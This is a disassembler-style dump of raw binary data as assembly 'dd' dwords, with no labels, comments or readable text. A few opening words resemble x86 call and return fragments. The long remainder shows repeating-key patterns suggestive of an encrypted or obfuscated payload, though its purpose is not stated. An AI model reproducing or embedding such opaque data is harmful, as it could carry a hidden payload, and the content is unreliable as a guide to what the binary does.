dd 80FFFFFFh, 8D8D9FE1h, 7AFDC55h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Bh, 0DFC35242h, 0F5BE6C8Bh, 5237DCBEh
dd 659D89h, 895B07A8h, 0A817318Dh, 53006A07h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 6BFF516Eh
dd 85C7CC90h, 7A80A59h, 64F8h, 6E956h, 365C0000h, 0A78241D1h
dd 0D9858B5Fh, 0C707A823h, 0A8093985h, 7, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
dd 44AC80E1h, 0BBDB5FFh, 9D8907A8h, 7A82AB9h, 1A9995FFh
dd 6A07A8h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
dd 50400000h, 0AF4668C3h, 0B6607017h, 6A61FC03h, 2195FF00h
dd 8B07A80Dh, 0A93EEBC0h, 0A47BC129h, 316BAE54h, 3865897Eh
dd 690E5444h, 14D13A0h, 8307E97Dh, 0BEA34391h, 85521A62h
dd 4AD7734Fh, 3F22D243h, 0DEC8B70Ch, 841389A4h, 27751858h
dd 70A1C890h, 98F42096h, 0ECE9C3h, 0
dd 6370000h, 0CE037C81h, 0C0587C81h, 10057C80h, 10ED7C90h
dd 7C90h, 276F2h, 5 dup(0)
dd 0ADA00000h, 7C80h, 2Bh dup(0)
dd 60000h, 0FD2C0000h, 0EF223249h, 0A1981629h, 69D7CA9Ch
dd 66443A90h, 64A83D15h, 6113215h, 9F35B174h, 66439A32h
dd 0DBA13B60h, 61B93410h, 36914615h, 0DE84B946h, 66223604h
dd 4394B79Ch, 0FB0535BDh, 61EE8236h, 3E79E1EAh, 60148F96h
dd 128835BDh, 0DE176202h, 66223604h, 4394B79Ch, 0FB0535BDh
dd 61EE9F07h, 3E79E1EAh, 55A852E9h, 8EB5E04Dh, 6644321Eh
dd 8F8DAAC5h, 6BF2F314h, 394D3CADh, 0A7CD6374h, 697B6A44h
dd 6611339Ch, 0E571CA15h, 0C9988BA8h, 0E22D3212h, 6611326Bh
dd 6698DA75h, 0FDAB3215h, 6EE2FE02h, 27404A12h, 18F8EB17h
dd 0D14B4AAFh, 0E72D6BECh, 66113215h, 0EA0DBF74h, 8F439D60h
dd 6622321Bh, 0B00627B2h, 0D0A654E0h, 0D1884E67h, 0B6DDA61Dh
dd 661DB91Ah, 69E83215h, 6644329Eh, 9B9C5415h, 0E39C5303h
dd 612747A9h, 664ADB75h, 1FCD3215h, 2799336Bh, 0ED77838Eh
dd 0F26E7859h, 9943CC9Fh, 6D993DC5h, 8F883215h, 66443213h
dd 125FF93h, 0E3D7C9AEh, 6120340Ch, 0B15243h, 7AAA2AFh
dd 6601B41Ah, 6D613215h, 82443215h, 0D324B53Dh, 0F571C8BBh
dd 34E01756h, 69D89AADh, 6622219Ah, 661FDB15h, 35C63215h
dd 31E4BF6Dh, 7FAD4E36h, 0BA67EBA5h, 6A6987EAh, 6B835BDh
dd 0B4A2FD9Fh, 0E39C533Bh, 61234A0Fh, 694CDECh, 69E9B973h
dd 6970F8A2h, 66883599h, 67CC3D15h, 9A223215h, 43E4B79Ch
dd 0A17D35BDh, 0CE512790h, 66223212h, 0ED1E5215h, 66883219h
dd 664434FDh, 0F890A115h, 3910B1E2h, 0C52F8873h, 7FC1F474h
dd 23259A13h, 0F785AEDh, 9970BC67h, 0CE5CA7A0h, 6624DB12h
dd 88193215h, 0E6A4AFBBh, 5D9BB798h, 0E02D35BDh, 66113212h
dd 6689B41Ah, 99B13215h, 6EA23DC5h, 69113215h, 66883091h
dd 0EF255215h, 0CE274B90h, 6602DB12h, 1E23215h, 0D34DB2B1h
dd 0D715A0D2h, 4F2942D6h, 0DFA88317h, 0E382CBE4h, 618A340Ch
dd 0E31E5256h, 66883210h, 0FD5921AAh, 0CD388A32h, 0E70560Ah
dd 0FAEF594Bh, 0F3F1CDEDh, 69259A0Dh, 66113C93h, 6681DB15h
dd 649F3215h, 57671D6Eh, 0EB324D25h, 0CEB3ED90h, 6650DB12h
dd 0C133215h, 1C36AD95h, 0B303C4D5h, 315CB818h, 0AD64CE5Eh
dd 72F89777h, 0EF883215h, 1EF30E11h, 17FCAD74h, 0DD047156h
dd 6BA6ADA4h, 9966ADC0h, 0A7A352C5h, 12EE9DFCh, 75BB973h
dd 0BAE5B79Ch, 0EA2D35BAh, 66113212h, 6689B41Ah, 0A0B83215h
dd 0CE242B90h, 68F86612h, 0FD883215h, 0A59B7F4Ch, 7F79B253h
dd 2030DAA1h, 0EA15AD3h, 99BCDC77h, 0CE3AA7A0h, 0D8775212h
dd 0EBE95806h, 0CE7FED90h, 6632DB12h, 5AB3215h, 83A1A75Bh
dd 415E2B5Ch, 0D260DF1Ah, 0B6EEAF4Eh, 668834FCh, 0EABDC815h
dd 0EFA6736Eh, 0C9CD9790h, 6698DB12h, 3B5F3215h, 33B0DF0Ah
dd 363915E8h, 0E8A648Eh, 0E382D509h, 618A340Ch, 6603DB50h
dd 0F8593215h, 0E6D31A41h, 148BFB57h, 6140F450h, 0FB0252EEh
dd 66443DFCh, 4462BA15h, 59F65600h, 0E107786Eh, 0E6D7FD92h
dd 61AF07Dh, 0D3EECECFh, 61202A80h, 0B9C1BFE0h, 9F259A2Eh
dd 6BF8E2EAh, 0E7883215h, 440BFC09h, 0E997738Fh, 87411C2Dh
dd 0BA21B79Ch, 60AD35BAh, 30223215h, 0E4897F1Dh, 0DB0BCACDh
dd 61EC34B0h, 7FA73D15h, 6113214h, 47378D75h, 0A8CF400Ch
dd 0ACA95474h, 7F94F474h, 238F9A13h, 6649BB1Ah, 6ECB3215h
dd 0D113215h, 198FA731h, 0E2F9665h, 9C024C93h, 661121FCh
dd 57ECDD15h, 0A68C4B14h, 7F0A8421h, 0CAA58F3Eh, 2C06EB0Dh
dd 7ED187EAh, 0ED4235BDh, 679F3DDEh, 9A883215h, 0B9C1BF74h
dd 8F259A2Eh, 66113206h, 536C9B16h, 0B4AD9CF7h, 465A2235h
dd 6A0FA553h, 9922E8D1h, 691752C5h, 6622329Ch, 0EA1E6D15h
dd 66883217h, 0EF255375h, 0C9FE9F90h, 0ED775212h, 0E34E53EDh
dd 61EC340Ch, 0A54ACB59h, 8FF114C5h, 66883218h, 0E0E8A8DAh
dd 20BF8A17h, 0D228DE5Fh, 0F33DCDDDh, 6439A0Dh, 47C4B375h
dd 0EF287h, 7120AAEh, 0EB255CA6h, 0CE19ED90h, 0E91ECA12h
dd 66883214h, 9F94CDE0h, 66223FFCh, 880E3A15h, 0B130DECEh
dd 213C0F2Ch, 0E3ABD864h, 61BEEEA4h, 669EB81Ah, 77AD3215h
dd 0EE223215h, 0FA6B2947h, 35BB209Dh, 0DACCC49Ah, 0E3C0B01Fh
dd 661072FCh, 670B3D15h, 9F443215h, 603BB7D3h, 694335BDh
dd 66883A9Ch, 3BF15215h, 702D8B73h, 821C5A74h, 997D8E5Fh
dd 0CE54F3A0h, 0E3AFCE12h, 61B909CAh, 669FBB1Ah, 74AD3215h
dd 59223215h, 4FB84C44h, 322C49D4h, 187559BBh, 221A579Ch
dd 6C1CD41h, 668BB41Ah, 93C43215h, 0E3AB537Dh, 61BEEEB8h
dd 9D373D75h, 988575h, 743C59Eh, 6008B7D3h, 6DA35BDh, 0E6BEB975h
dd 8F4316F8h, 66113206h, 4E962963h, 0C101AF24h, 8C915F04h
dd 4523FE3Ch, 7A9F6BCh, 2A0E7A7Dh, 6628DBB3h, 68F3215h
dd 68AA4902h, 8DA0057Ah, 76E387EAh, 8E7135BDh, 66883207h
dd 670FB80Bh, 0FECCB8C6h, 5BDC0678h, 0B6D88531h, 89C4D297h
dd 75CB6CA5h, 0AF113215h, 6A2C01E8h, 0B9B29EFFh, 0D7D3A8E7h
dd 8D02A460h, 0EBE923FFh, 0CE7FED90h, 6AA83D12h, 69113215h
dd 6688349Ch, 66CC3D15h, 99223215h, 6E9C3DC5h, 69883215h
dd 6644309Ah, 0EF435215h, 0C9CD8390h, 73023D12h, 8F443215h
dd 66223205h, 0C225AC24h, 9672AC2Ah, 0F8D2048Eh, 0BB412D26h
dd 661122FCh, 3084215h, 10BD066Ch, 0CA59BB29h, 8B6901E4h
dd 7F0DF4D0h, 34439A13h, 66223BFCh, 0ECE96A15h, 71D33410h
dd 8C2CEB99h, 6DF70A1h, 0DF9FC194h, 6D83476h, 99256D74h
dd 0CE3AA7A0h, 0E39CCB12h, 612009CAh, 6650DBE0h, 0CC8F3215h
dd 0CABFFD79h, 2E1ACCAFh, 3A15FF95h, 41EE3E13h, 0B6EE7BD4h
dd 470DBBE9h, 69439A30h, 66223393h, 0E3D7CE15h, 6120340Ch
dd 6641DB62h, 0A2553215h, 0EACEDF2h, 951F9AB6h, 6652BF1Ah
dd 77CB3215h, 0C8113215h, 7753CB16h, 6071E2ACh, 4C28461Eh
dd 7DF24C1h, 78BD87EAh, 0D82435BDh, 3965F2FCh, 6618DB45h
dd 71F73215h, 12CAE955h, 3FD0DA5Ah, 0B994BF74h, 8F8F9A2Eh
dd 66443210h, 0CB2709ADh, 69C1CDADh, 66883A90h, 0DE225215h
dd 3C705DD1h, 0D794BB74h, 8F8F9A12h, 6644321Ah, 962A317Ah
dd 1C2888ECh, 0EB727FF7h, 0A069D08Fh, 0CE242B90h, 93ED6012h
dd 0BBB9257Dh, 0D3BBCB9Fh, 618A2A80h, 0DEE3B975h, 570437Fh
dd 0B9C1BF74h, 69259A2Eh, 66113E9Dh, 60073D15h, 69443215h
dd 66223294h, 0B6EECB15h, 50578C75h, 84C4357Eh, 0E3AB53ADh
dd 61B91FF4h, 730E3DE0h, 8F443215h, 66223205h, 9E22433Bh
dd 0C687F6CAh, 7E876B6Ch, 6193E1E3h, 6008B7D3h, 8FDE35BDh
dd 66443201h, 9E93F8E2h, 81F501A8h, 721CBBAAh, 0C8DC2B32h
dd 0E98CC2B2h, 797C0B7Dh, 6D033DC1h, 6443215h, 0E7F3B973h
dd 0FD5178C6h, 0D377535Ah, 61EC3EF4h, 66223FFCh, 0FBDB8915h
dd 0BD2BBC85h, 65613796h, 0E3AFF0ABh, 61BA4A0Fh, 669ABB1Ah
dd 6BAD3215h, 5C223215h, 0C53B41A1h, 0B08A1E42h, 0BDE3BD7Fh
dd 9C9D3D75h, 0EC9C8B73h, 9358CD74h, 52A5B79Ch, 0A0DB35BDh
dd 0CE172B90h, 0E1877512h, 66443214h, 6DAE3DE0h, 6113215h
dd 0E74E851Ah, 808D30C4h, 1C4A5324h, 9E90EE05h, 0F33DCDE9h
dd 69439A0Dh, 6622359Bh, 679B3D15h, 93883215h, 5D9BB798h
dd 0EF2D35BDh, 66113202h, 6685DA75h, 0C95A3215h, 0C198154Ah
dd 99B5C609h
dd 393C1DD1h, 99255375h, 0E3ABCAC5h, 61B92578h, 7C50B375h
dd 6912CA78h, 66223096h, 7705215h, 6091B7D3h, 8F0335BDh
dd 66223205h, 9C6BD3DEh, 45A9BD81h, 745E90F3h, 256DE7A8h
dd 69A4D07Dh, 6E083D9Fh, 69443215h, 66223094h, 99705215h
dd 0CE90A7A0h, 0E3C9CB12h, 618A09CAh, 661DB91Ah, 0EC873215h
dd 66443213h, 6622B31Ah, 99E93215h, 726152C5h, 26443215h
dd 207BE76h, 72274BE2h, 7DEE3AFCh, 437B633Bh, 6E10B20h
dd 661123FCh, 0FE903715h, 17861072h, 3345A30Ah, 949D0865h
dd 7E9B02Ch, 0BA95B79Ch, 0A1DB35BAh, 0CE22CF90h, 66884A12h
dd 0DBC7C715h, 618A11D4h, 0A2953D15h, 6988320Dh, 6644339Fh
dd 0DE42CB15h, 12D80FB1h, 7F0DF474h, 2A439A13h, 6634B41Ah
dd 8E713215h, 6688321Eh, 0C5E09A7Ch, 0B6D3393Ch, 3983FB28h
dd 751851Ah, 7AAD5AE0h, 642EBCFh, 0E7775375h, 78CA7C3h
dd 7CFD41AFh, 0D3DD532Eh, 61B92A80h, 0B90DBFE9h, 69439A2Eh
dd 66222397h, 661DDB15h, 0A4FE3215h, 4C0C5E68h, 215071BFh
dd 0B6EE13BEh, 6683DB75h, 0E2813215h, 7EA6618Fh, 0FE625014h
dd 758B9EDh, 0BAF9B79Ch, 0E72D35BAh, 66113202h, 668820FCh
dd 0A8EDAF15h, 0ADA521E7h, 0B289588h, 376CA71Eh, 0A0639080h
dd 0CE242B90h, 0EED7E12h, 0BBFCECDBh, 66443DFCh, 1F197E15h
dd 92002EA7h, 0D65DC60Eh, 0D2FCD0h, 7EB787EAh, 0ED7135BDh
dd 0E30553D4h, 61EC09CAh, 66223EFCh, 0FCFBB815h, 4B3E816Ch
dd 3BE16FECh, 9EF2CDACh, 0BAD0B79Ch, 0EB8735BAh, 66443205h
dd 662239FCh, 6A314C15h, 716ECCB3h, 18626864h, 603BB7D3h
dd 695D35BDh, 66883391h, 592CCB15h, 9F95B397h, 7E8487EAh
dd 0EB7035BDh, 0CE7FED90h, 6625DB12h, 0D1FC3215h, 0CB4BAE36h
dd 694CDC3h, 7CCB2E9h, 661CDB74h, 0E65E3215h, 1BB7B55Eh
dd 0BAE77C86h, 0EF5C7E71h, 0C954F790h, 6CC93D12h, 8F223215h
dd 66113210h, 0EA7FAEBh, 23FE5216h, 8F7CA4F8h, 6611321Dh
dd 0E91B7EF7h, 0C313E023h, 7FA7F474h, 2A169A13h, 6691B01Ah
dd 72AD3215h, 0CF223215h, 9FBC1E0Dh, 6746C4C8h, 0B14E896Dh
dd 58BABB0Eh, 9EA20AAFh, 49C82A7Dh, 74CC3DA6h, 8F223215h
dd 66113218h, 0CC449359h, 0D9C130E0h, 60C592h, 0F3A4CDE8h
dd 8F8F9A0Dh, 66443210h, 0A0EEAF1Bh, 0E39CC75Fh, 612009CAh
dd 664438FCh, 3C765215h, 0FCA1B63Eh, 99089B22h, 6641DBC5h
dd 586B3215h, 0EF873AECh, 0C954F790h, 70CF3D12h, 8F223215h
dd 66113204h, 903DECAEh, 156E5163h, 0CF409555h, 0E32F8FD0h
dd 7F0DF4F6h, 20439A13h, 60365AECh, 0E31E88CBh, 66883214h
dd 0F3F1CDECh, 93259A0Dh, 5DCEB798h, 69E835BDh, 0E44BC4AAh
dd 66223216h, 7E7851Ah, 6061E2EAh, 5D443215h, 0BE9EE4E9h
dd 0AB94BB06h, 698F9DC9h, 66442598h, 6BCB5215h, 0C0113215h
dd 0A2BE67h, 80995B40h, 25CA84E1h, 7E6B973h, 6091B7D3h
dd 8F0335BDh, 66223210h, 5DF7F8AFh, 0E887526Eh, 66443214h
dd 0BEA263ECh, 0E706928h, 0E754226Fh, 0F3F1CDE9h, 69259A0Dh
dd 66113599h, 923F5215h, 7BA851Ah, 5DFDB798h, 67135BDh
dd 6688B21Ah, 72AD3215h, 0AB223215h, 0D43A9A63h, 0A9C1A1F3h
dd 0E7C745B0h, 1C8663F0h, 719C9BAh, 6E95BA0h, 693B975h
dd 3C705374h, 6C1CD74h, 6860E19Eh, 5D443215h, 1A658F71h
dd 3B064066h, 146B82B6h, 3F255232h, 0B3A7BB74h, 9F169DC9h
dd 6091B7D3h, 690335BDh, 66222591h, 6603DB15h, 0EE1C3215h
dd 0B222F96Fh, 70C2DC17h, 0C7CF3D57h, 0A3E6CD3Bh, 0E1CA9E7Dh
dd 7FA93DFAh, 8F113215h, 66883201h, 8B4D54Ah, 488B0F65h
dd 0D0126F22h, 27F1CA68h, 0CC261C8Fh, 0F397CDE9h, 69169A0Dh
dd 66883892h, 6641DB15h, 9C713215h, 0EB445646h, 0CEB3ED90h
dd 6FC13D12h, 6223215h, 44C7B3E0h, 7B79687h, 69B1E2EAh
dd 66223A92h, 64953D15h, 6883215h, 0BFC1BB74h, 8F259DC9h
dd 66113207h, 8E5FE341h, 1F46937Fh, 1FA5131Eh, 586A2133h
dd 0E34EB2AEh, 61EC340Ch, 0B44AC752h, 9FC5A8B2h, 7E1D87EAh
dd 69BD35BDh, 66222197h, 661FDB15h, 0BF1A3215h, 0FFAF8A75h
dd 9D845C3h, 0AFA6D1F6h, 5D57B798h, 76AD35BDh, 0B9223215h
dd 28ED2134h, 83346BADh, 0C9B358BBh, 991CE4ABh, 0EB1E52C5h
dd 66883217h, 0E04B87A0h, 66223210h, 0DD0FD5ADh, 7461531Fh
dd 28443215h, 9B3A62DAh, 9EE70D99h, 4EA01D1Dh, 0CBFC003Eh
dd 0BBA7BB38h, 8F169DC9h, 66883204h, 0D7B33EEAh, 0CC79A996h
dd 35796D9Fh, 0F4D9B987h, 7FC1F4C4h, 21259A13h, 661126FCh
dd 0E9DAA615h, 0D7C40E8Ah, 0DACE2DC3h, 0D2EE59Bh, 37AAD645h
dd 5F405AFEh, 0E92D88D4h, 66113212h, 0AD095475h, 9925F00Fh
dd 0CE3AA7A0h, 6E933D12h, 6883215h, 6644B81Ah, 0EB433215h
dd 0CE2AED90h, 0B677CE12h, 0AF88B275h, 0E3AB53EDh, 61BEEEF4h
dd 668834FCh, 453B0215h, 0E5A7E5F1h, 0CE3303A8h, 0E3873212h
dd 6644329Ah, 662235FCh, 0B4C4FC15h, 0DF050161h, 605DB7D3h
dd 8F6535BDh, 6611321Fh, 360C79CAh, 8CFD29F2h, 14A3702h
dd 8FF14038h, 66883213h, 324B8A61h, 0D3DD9C3Eh, 61B92A80h
dd 6682B41Ah, 6243215h, 0F6E1B374h, 70A693Fh, 5D57B798h
dd 2435BDh, 7BA39ACh, 0E01EE2EAh, 66883208h, 6653B91Ah
dd 74CB3215h, 0C1113215h, 1D5A601Ch, 0E546214Ah, 5DAF67B7h
dd 0D9E4AB4Dh, 830DBB22h, 69439DC9h, 6622389Bh, 6614DB15h
dd 14703215h, 0A006766Bh, 0CE242B90h, 6DF87512h, 0C0883215h
dd 0DD9FC995h, 1A817B5Ah, 0D779DA1Ah, 6061BA6h, 41D895h
dd 760D094h, 0F3A4CD74h, 8F8F9A0Dh, 66443212h, 56E71830h
dd 0EBBE9536h, 0CEB3ED90h, 69AD5212h, 0F3223215h, 3E9EE768h
dd 0ED2EE1A8h, 16DC49B0h, 0BBA2E0B2h, 0B6EE5355h, 60053D75h
dd 69443215h, 6622329Ah, 0E3985315h, 6127EEFCh, 664CB51Ah
dd 0EC2D3215h, 66113217h, 0E34E5375h, 61EC340Ch, 7FAD3D56h
dd 8F113215h, 66883201h, 1A496D00h, 1D78364h, 99759F2Ch
dd 0C1DF2691h, 9A4BE2C6h, 1068957Dh, 0D3EECAD5h, 61202A80h
dd 6656DB75h, 134B3215h, 42743F2Bh, 0C8C062CAh, 0EE69EDC2h
dd 17EE6488h, 7C1851Ah, 5D57B798h, 0E84B35BDh, 66223212h
dd 6610B41Ah, 99713215h, 0BD52C5h, 0EEFFEC94h, 8B94BB74h
dd 9E8F9DC9h, 605DB7D3h, 9E6E35BDh, 7DD97Dh, 6E003DEEh
dd 69443215h, 66223098h, 99705215h, 0CE9607A0h, 0ED24CE12h
dd 0FFC3B3CBh, 7084C89h, 5D57B798h, 99BC35BDh, 0E3ABC7C5h
dd 61BEEF94h, 668821FCh, 0F5755415h, 88CF3117h, 0E97EA42Ch
dd 6FDAA4C7h, 7C427042h, 603BB7D3h, 65535BDh, 77AB9E0h
dd 15CA677Dh, 6CAE3DAEh, 8F113215h, 66883210h, 0DEDABF23h
dd 0D944521Ch, 0EF1E5186h, 66883217h, 9925EA9Eh, 0CE3AA7A0h
dd 76F85212h, 40883215h, 0FC093078h, 97044537h, 8C10E270h
dd 0B8EDAh, 0EB25C59Eh, 0CE19ED90h, 0D11E5212h, 9F918DCDh
dd 9A252205h, 0D542E2EAh, 0A1905406h, 0EFE9BE49h, 0C998C390h
dd 662BDB12h, 7D643215h, 763E7E02h, 0A01F03ABh, 0CE242B90h
dd 0E41E7112h, 6688321Dh, 6646BD1Ah, 7423215h, 0E87FCE7Dh
dd 6C0E3DA9h, 8F443215h, 66223210h, 0A7973F8Ch, 0F33DCDAFh
dd 6439A0Dh, 809D5445h, 60F869A9h, 6F883215h, 0EE4901E1h
dd 0E3AF53E8h, 61B909CAh
dd 6958CDEDh, 66443A92h, 0E12D5215h, 66113215h, 0E301C774h
dd 61EBEEE0h, 662220FCh, 0CD32E615h, 8E172968h, 0E3212677h
dd 0A12C788Dh, 0A09E35F0h, 0CE8E2B90h, 0EB86112h, 0A0320CBFh
dd 0F3A4CDE0h, 698F9A0Dh, 66443392h, 0E3AFC715h, 61B909CAh
dd 6C616175h, 10443215h, 8D466B45h, 651CF680h, 0A0086873h
dd 0B6BB5323h, 6632B31Ah, 6DF83215h, 0E6883215h, 79C7276Eh
dd 10622EA6h, 0E398B050h, 6127EEECh, 664435FCh, 0BFB5C515h
dd 0BC767226h, 41298F96h, 694435BDh, 6621C891h, 0E3D7CE15h
dd 6120340Ch, 572CCB53h, 8FD8A4DBh, 6611321Dh, 25495397h
dd 0AD285406h, 7EB787EAh, 697135BDh, 0E687F4AAh, 66443210h
dd 0F0346AAFh, 0D2715338h, 7EF82A9h, 5D9BB798h, 694235BDh
dd 6611329Ch, 0F5F88C15h, 99257236h, 662FDBC5h, 0B8633215h
dd 9D3AEC3Bh, 59C5E38h, 0EFA48EB1h, 0C9CC6790h, 70093D12h
dd 8F443215h, 66223204h, 0FB76FB0Dh, 92C5BEFEh, 0F7F5E7C2h
dd 4F58C474h, 0DD7752E9h, 0B8094BE4h, 3B2D08DCh, 7FA7F474h
dd 20169A13h, 668837FCh, 55500215h, 0B04AF4B8h, 8FED952Fh
dd 6688321Fh, 4C15E183h, 0B092C25Ch, 0D3EE85DDh, 61202A80h
dd 664437FCh, 8290A315h, 0E39CE991h, 612009CAh, 664EDB75h
dd 4AEA3215h, 14E8CAE8h, 8D983B60h, 79EB973h, 0EFD7E2EAh
dd 0C9CC5790h, 6C0A3D12h, 8F443215h, 66223210h, 0CECA9887h
dd 7F0DF403h, 20439A13h, 662226FCh, 359B4415h, 564AE921h
dd 1718173h, 0D58545ECh, 0B6336F31h, 0C2885A91h, 99BCA0E9h
dd 0CE3AA7A0h, 0E7775212h, 69E328E7h, 6925E4A2h, 6622279Bh
dd 6601DB15h, 0F0A43215h, 598B3111h, 16DC9AC6h, 0E39DF138h
dd 0E30543CCh, 61EC09CAh, 662222FCh, 79FDA215h, 0F358EBB7h
dd 0E4B5BFCEh, 0EF49B462h, 6601DB5Dh, 90113215h, 0A3AF8B7h
dd 0A7593E56h, 0BA041840h, 0B67742C1h, 66443CFCh, 3F498415h
dd 2403C368h, 88A43126h, 0EF64B4FFh, 0C9FF5B90h, 6D923D12h
dd 6883215h, 0F0AF1BAFh, 0C49B5460h, 0A0E95334h, 0CE8E2B90h
dd 0EB87412h, 90F67D7Fh, 0F3A4CDE9h, 698F9A0Dh, 66442298h
dd 6629DB15h, 81683215h, 33341B2Fh, 81A63652h, 0B9A7BFC8h
dd 6169A2Eh, 44FDEB94h, 24762Ah, 639CC29Eh, 77A3003h, 7F3B5274h
dd 0B6BB53E9h, 662237FCh, 0B0073E15h, 0E3019033h, 61EBEF78h
dd 6629DB75h, 1D943215h, 935CEADh, 957DB7B9h, 6636DA7Ah
dd 0F7D03215h, 0D68BA504h, 667E916h, 3C32E77h, 0DB90D9D5h
dd 0E8874F17h, 66443215h, 0E3E4534Fh, 61B9340Ch, 6686DB53h
dd 0FD263215h, 0D991A28Dh, 54F9BDF0h, 0F9B4E72h, 0AB14D57Dh
dd 6628DB81h, 30443215h, 0FF79C0C1h, 0DA8DBDB9h, 662235FCh
dd 0AD3CD15h, 89BBDCB2h, 7ED187EAh, 6ACB35BDh, 7D113215h
dd 0A1F50DCCh, 645827FFh, 0EB2D0F73h, 0CE2AED90h, 6682DB12h
dd 33BE3215h, 0D745CF00h, 13C0B086h, 0E287E2EAh, 66443219h
dd 6624B91Ah, 0E81E3215h, 66883215h, 6642B01Ah, 423215h
dd 7EDCB9Eh, 0BBD1B79Ch, 0EB4B35BAh, 66223219h, 6617BA1Ah
dd 0E7873215h, 66443215h, 603BB7D3h, 65735BDh, 668BB91Ah
dd 83C43215h, 387552FAh, 5D795374h, 8F391061h, 6644321Bh
dd 90471525h, 69D82B3h, 0DC164D60h, 0D3BB550Dh, 618A2A80h
dd 6615B01Ah, 34E83215h, 0E3C9534Dh, 618A09CAh, 0ED775275h
dd 668EDBCAh, 6B653215h, 6C25580Bh, 0B6EE5374h, 668EB51Ah
dd 0ED243215h, 7DC80C4h, 0BB4CB79Ch, 0E38735BAh, 6644321Dh
dd 0D1D5B375h, 77387C5h, 6091B7D3h, 60235BDh, 66223AFDh
dd 0A20D6515h, 0ADD2C6FFh, 39378093h, 8CCF5A74h, 0EA1EED6Ch
dd 6688321Ah, 664438FCh, 9A3AAB15h, 4E5D6308h, 69E646CAh
dd 6644389Ah, 26915215h, 6611B01Ah, 99E93215h, 0CE5CA7A0h
dd 91A85212h, 0B994BF74h, 8F8F9A2Eh, 66443206h, 0DA3A6BD9h
dd 0E299DCAFh, 5F9F0C2Ah, 6B2611E8h, 693D2874h, 66112A99h
dd 669BDB15h, 0F4E63215h, 0AF5A7D11h, 0D3B39112h, 0F68B5B7h
dd 7E4B1EA7h, 8FF2CDB7h, 66113206h, 1D614B85h, 226AD6D9h
dd 0B3E4B3E7h, 3CB1E88Fh, 0EFC669BAh, 0C9995390h, 0CB935212h
dd 661137FCh, 968B6515h, 0E525D03Fh, 0CE0003A8h, 0E31E3212h
dd 6688329Ah, 6657B21Ah, 0E02D3215h, 66113218h, 66883AFCh
dd 0B87FA915h, 57BC9620h, 0E3D7CA2Eh, 6120340Ch, 67CF3D46h
dd 93223215h, 0D8F16C7Dh, 6681DBDBh, 8F353215h, 0D3AB1C36h
dd 6F19652h, 66883BFCh, 81472E15h, 6401EFC1h, 6AF83CE6h
dd 88883215h, 2C10A2F6h, 0CCE8E4B7h, 7275EF6h, 7E1D87EAh
dd 0EBBD35BDh, 0CE19ED90h, 661EDB12h, 8A713215h, 16B71EC3h
dd 0B3EBD49Dh, 9F23E0A6h, 658CD81h, 37B6B973h, 779E39Eh
dd 0BAECB79Ch, 0A07135BAh, 0CE422B90h, 427512h, 690342AAh
dd 66883097h, 7255215h, 0D77CB57Dh, 7F923DD2h, 69883215h
dd 66442191h, 662CDB15h, 8263215h, 77CBEDD8h, 1E6458C4h
dd 4026F945h, 7E8487EAh, 697D35BDh, 66442E9Ch, 70A23D15h
dd 8F113215h, 66883204h, 0D4211974h, 0DEDE7745h, 0FB214DD2h
dd 3FACDD5Bh, 0B9C1BFD5h, 8F259A2Eh, 6611321Dh, 87A1BBFFh
dd 0DEF2F6FDh, 72CBE2EAh, 81113215h, 920EF475h, 61A21C03h
dd 1E1A5BA3h, 23B361ADh, 0EFF4BA23h, 0C9993390h, 61A53D12h
dd 69113215h, 66883399h, 0DBC7C715h, 618A1024h, 10943D15h
dd 9E883215h, 605DB7D3h, 9F6535BDh, 46F377Dh, 61033DF3h
dd 69443215h, 6622339Ch, 0D3EECA15h, 61202A80h, 664EBF1Ah
dd 63CB3215h, 66113215h, 0BB2F03C7h, 5D9BB798h, 314235BDh
dd 66113CFCh, 640B9015h, 0C15FD786h, 67F97B82h, 3FFE32D6h
dd 600F3D74h, 6443215h, 742E89Eh, 69C1CD74h, 66883F93h
dd 664CDB15h, 0BE153215h, 0BC1DC651h, 0E3010537h, 61EBEF10h
dd 7FA7F4E0h, 25169A13h, 0A9035475h, 5FAFB373h, 0ED425337h
dd 907953DEh, 61A481Ch, 6995851Ah, 9943FBAAh, 0CE09A7A0h
dd 69023D12h, 8F443215h, 6622321Fh, 92F7EF7Ch, 0CECBDAA3h
dd 0E3C931DBh, 618A09CAh, 6C1CDE9h, 668822FCh, 0D28E5215h
dd 0EF1DF7D6h, 4B7A6801h, 597F4809h, 795B9DEh, 0BB2BB79Ch
dd 697135BAh, 6688309Ah, 69B7B915h, 0A043CCA2h, 0CE172B90h
dd 0EDE87112h, 0D8B1B2EFh, 0F1025A74h, 72F8CE34h, 0C0883215h
dd 1D06B85Ah, 3AC1E87Ah, 0FE907E6Dh, 9A833CD3h, 9943E093h
dd 0CE3AA7A0h, 679E3D12h, 9E883215h, 0B9C1BFE0h, 6259A2Eh
dd 0E7178B73h, 6958CD74h, 66443A9Fh, 0DFDA5215h, 69B279C3h
dd 6B0DBB74h, 9E439DC8h, 44138F96h, 691135BDh, 66890A90h
dd 67C03D15h, 93223215h, 6008B7D3h, 6CB35BDh, 665DBC1Ah
dd 72CB3215h, 20113215h, 671D64E1h, 302E05E0h, 0E05EFE66h
dd 3A676B47h, 0CC5848h, 6D0BE994h, 6AA53D74h, 69113215h
dd 66883492h, 66CA3D15h, 0E223215h, 0ED119A16h, 0F33DCDE0h
dd 6439A0Dh, 662222FCh, 0D1C36415h, 0FC746D2Bh, 7A2F394Eh
dd 0D993698Dh, 8F70CB06h, 66883212h, 791BA508h, 0EB6D1BEAh
dd 0CE2AED90h, 70083D12h, 8F443215h, 66223204h, 0D3BFC468h
dd 81B92053h, 8AB98AF7h, 40CF598Fh, 69C1CD9Ah, 66883593h
dd 67C43D15h, 93223215h, 0BB04B79Ch, 69E835BAh, 66443092h
dd 69478415h, 0A070FAA2h, 0CE8E2B90h, 6247112h, 0AEA3E29Eh
dd 1479FEC0h
dd 0B3E05374h, 9FA16923h, 7EB787EAh, 72F835BDh, 0CA883215h
dd 95898820h, 4AF68A36h, 0F4A6347Ch, 0CF799012h, 0EBFCAE9Fh
dd 0CE19ED90h, 0B6EEC712h, 9060B275h, 6925C29Eh, 66223393h
dd 0E398CA15h, 6127EF04h, 4DA3B275h, 0EE2D53E9h, 66113208h
dd 669BDB75h, 1C0A3215h, 0C0A76144h, 0F0D5810h, 0EE9CB5C3h
